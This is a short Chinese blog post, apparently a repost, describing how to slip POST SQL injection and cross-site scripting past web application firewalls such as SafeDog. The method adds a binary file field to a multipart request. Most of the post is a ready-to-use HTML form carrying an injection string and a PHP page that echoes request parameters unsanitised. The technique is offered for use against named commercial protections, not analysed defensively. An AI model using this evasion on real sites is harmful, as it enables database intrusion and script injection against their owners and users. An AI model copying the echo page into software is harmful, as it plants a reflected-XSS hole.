轻松绕各种WAF的POST注入、跨站防御(比如安全狗)

最新推荐文章于 2024-08-28 13:44:19 发布

weixin_33751566

最新推荐文章于 2024-08-28 13:44:19 发布

阅读量508

点赞数

CC 4.0 BY-SA版权

文章标签： php 数据库

原文链接：http://www.cnblogs.com/develop/p/3884872.html

本文介绍了一种通过提交包含二进制文件的multipart请求来绕过如安全狗等Web应用防火墙(WAF)的方法。具体操作是构建一个HTML表单，并通过POST方式发送带有特定构造的文件和参数的请求。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

XXX之前有提过multipart请求绕过各种WAF方式：360网站宝/安全宝/加速乐及其他类似产品防护绕过缺陷之一，貌似没引起多少人关注。今天发现安全狗变聪明了以前那套他不吃了，不过随手给狗提交了一个二进制的文件域就XXOO了。注意一定要是二进制文件，图片、压缩包什么的都行。

构建如下HTML表单：

<!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <title>yzmm - p2j.cn</title> </head> <body> <form action="http://webshell.cc/index.php" method="POST" enctype="multipart/form-data"> File:<input type="file" name="file" /><br/> ID:<input type="text" name="id" value="select 1 from mysql.user--" style="width:250px;" / ><br/> <input type="submit" value="提交" /> </form> </body> </html>

index.php:

<?php echo "POST-ID:".$_POST['id']."<br/>GET-ID:".$_GET['id']; ?>